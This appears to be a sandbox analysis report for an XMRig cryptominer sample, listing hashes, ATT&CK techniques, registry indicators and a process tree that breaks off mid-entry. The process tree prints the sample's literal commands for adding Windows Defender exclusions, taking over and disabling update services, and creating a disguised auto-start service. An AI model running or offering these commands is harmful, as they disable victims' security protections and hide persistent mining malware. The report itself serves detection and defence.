xmrig | eed6fe7c2b6252644f6617c45721dca2b412cdec28a4f3687fc753f099add67b

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
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04/08/2026, 04:45

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General

Target
file.exe
Size 5.0MB
Sample260804-fdpf9sv1d1
SHA256 eed6fe7c2b6252644f6617c45721dca2b412cdec28a4f3687fc753f099add67b
MD5 41df7b4d070dfe299a8355901945b5e9
SHA1 524a1213ad2bd6b893f4b9fb703f7d97bc253a89
SHA512 a3cdeaaf5a7e3216346e9b764d9835a809b4dc44db9885c1435d2c2535bf9c6e598bde15d95948f7ad4e2f9ffc75b2e8ed50dd8f0d97f072a51acba6f10c0d98
SSDEEP 98304:ZCOzagG+/PmVVbGy3hOO3xEBS47yvwUmEEz3E5SPuXBoi:UOmgEqy3h1xEBSZvw7E4E5zRZ
TLSH
T1463633A17DC690B2C04AC7B4A597757EB07A7BF149A07C1E39CD3E154E2BE08153E386
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3724 created 3268	3724	LockAppHost14a02b.exe	56
PID 3608 created 3268	3608	nslookup.exe	56

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/2768-91-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-96-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-94-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-95-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-97-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-93-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-98-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-102-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-103-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-104-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-105-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/2768-106-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3512	powershell.exe
1952	powershell.exe

Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ejlrpkvoys\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\lkukojwsue\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ugqgdzbdkn\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\rpanthbcnp\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll"	reg.exe

Sets service image path in registry 3 TTPs 5 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ezxsorftik\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k NetworkService -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ejlrpkvoys\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\lkukojwsue\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ugqgdzbdkn\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\rpanthbcnp\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p"	reg.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Deletes itself 1 IoCs

pid	Process
1768	file.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3724	LockAppHost14a02b.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1812	powercfg.exe
4652	powercfg.exe
4768	powercfg.exe
2572	powercfg.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12	nslookup.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3724 set thread context of 3608	3724	LockAppHost14a02b.exe	92
PID 3608 set thread context of 2768	3608	nslookup.exe	176

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2004	sc.exe
1092	sc.exe
3068	sc.exe
2168	sc.exe
3704	sc.exe
1572	sc.exe
544	sc.exe
1888	sc.exe
3232	sc.exe
4940	sc.exe
4312	sc.exe
2784	sc.exe
1012	sc.exe
1632	sc.exe
2640	sc.exe
988	sc.exe
4036	sc.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	nslookup.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	nslookup.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1768	file.exe
1768	file.exe
3724	LockAppHost14a02b.exe
3724	LockAppHost14a02b.exe
3724	LockAppHost14a02b.exe
3724	LockAppHost14a02b.exe
3512	powershell.exe
3512	powershell.exe
1952	powershell.exe
1952	powershell.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe
3608	nslookup.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1768	file.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	LockAppHost14a02b.exe
Token: SeDebugPrivilege	3608	nslookup.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeShutdownPrivilege	4652	powercfg.exe
Token: SeCreatePagefilePrivilege	4652	powercfg.exe
Token: SeShutdownPrivilege	1812	powercfg.exe
Token: SeCreatePagefilePrivilege	1812	powercfg.exe
Token: SeShutdownPrivilege	2572	powercfg.exe
Token: SeCreatePagefilePrivilege	2572	powercfg.exe
Token: SeShutdownPrivilege	4768	powercfg.exe
Token: SeCreatePagefilePrivilege	4768	powercfg.exe
Token: SeLockMemoryPrivilege	2768	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2768	svchost.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 2640	1768	file.exe	85
PID 1768 wrote to memory of 3232	1768	file.exe	87
PID 1768 wrote to memory of 4940	1768	file.exe	89
PID 3724 wrote to memory of 3608	3724	LockAppHost14a02b.exe	92
PID 3608 wrote to memory of 3512	3608	nslookup.exe	93
PID 3608 wrote to memory of 1952	3608	nslookup.exe	95
PID 3608 wrote to memory of 1092	3608	nslookup.exe	97
PID 3608 wrote to memory of 988	3608	nslookup.exe	99
PID 3608 wrote to memory of 3068	3608	nslookup.exe	101
PID 3608 wrote to memory of 4312	3608	nslookup.exe	103
PID 3608 wrote to memory of 3348	3608	nslookup.exe	105
PID 3608 wrote to memory of 2064	3608	nslookup.exe	107
PID 3608 wrote to memory of 1572	3608	nslookup.exe	109
PID 3608 wrote to memory of 2784	3608	nslookup.exe	111
PID 3608 wrote to memory of 220	3608	nslookup.exe	113
PID 3608 wrote to memory of 4424	3608	nslookup.exe	115
PID 3608 wrote to memory of 544	3608	nslookup.exe	117
PID 3608 wrote to memory of 1012	3608	nslookup.exe	119
PID 3608 wrote to memory of 2384	3608	nslookup.exe	121
PID 3608 wrote to memory of 4512	3608	nslookup.exe	123
PID 3608 wrote to memory of 4036	3608	nslookup.exe	125
PID 3608 wrote to memory of 2168	3608	nslookup.exe	127
PID 3608 wrote to memory of 2512	3608	nslookup.exe	129
PID 3608 wrote to memory of 4924	3608	nslookup.exe	131
PID 3608 wrote to memory of 2004	3608	nslookup.exe	133
PID 3608 wrote to memory of 3704	3608	nslookup.exe	135
PID 3608 wrote to memory of 2732	3608	nslookup.exe	137
PID 3608 wrote to memory of 3876	3608	nslookup.exe	139
PID 3608 wrote to memory of 3768	3608	nslookup.exe	141
PID 3608 wrote to memory of 2080	3608	nslookup.exe	143
PID 3608 wrote to memory of 1408	3608	nslookup.exe	145
PID 3608 wrote to memory of 4760	3608	nslookup.exe	147
PID 3608 wrote to memory of 796	3608	nslookup.exe	149
PID 3608 wrote to memory of 3324	3608	nslookup.exe	151
PID 3608 wrote to memory of 3496	3608	nslookup.exe	153
PID 3608 wrote to memory of 4332	3608	nslookup.exe	155
PID 3608 wrote to memory of 3120	3608	nslookup.exe	157
PID 3608 wrote to memory of 3740	3608	nslookup.exe	159
PID 3608 wrote to memory of 3344	3608	nslookup.exe	161
PID 3608 wrote to memory of 4652	3608	nslookup.exe	163
PID 3608 wrote to memory of 1812	3608	nslookup.exe	164
PID 3608 wrote to memory of 2572	3608	nslookup.exe	165
PID 3608 wrote to memory of 4768	3608	nslookup.exe	166
PID 3608 wrote to memory of 4876	3608	nslookup.exe	169
PID 3608 wrote to memory of 4792	3608	nslookup.exe	173
PID 3608 wrote to memory of 2768	3608	nslookup.exe	176
PID 3608 wrote to memory of 2768	3608	nslookup.exe	176
PID 3608 wrote to memory of 1888	3608	nslookup.exe	178
PID 3608 wrote to memory of 1632	3608	nslookup.exe	180

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3268
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
    3⤵
    - Launches sc.exe
    PID:2640
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:3232
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
    3⤵
    - Launches sc.exe
    PID:4940
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1092
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:988
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3068
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4312
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\ejlrpkvoys" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:3348
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2064
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1572
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2784
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\lkukojwsue" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:220
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4424
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:544
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1012
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\ugqgdzbdkn" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:2384
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4512
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:4036
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:2168
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\rpanthbcnp" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:2512
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
    3⤵
    PID:4924
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2004
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:3704
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\ezxsorftik" /s /f
    3⤵
    - Sets service image path in registry
    PID:2732
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3876
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:3768
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:2080
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:1408
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:4760
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:796
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:3324
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:3496
- - C:\Windows\System32\schtasks.exe
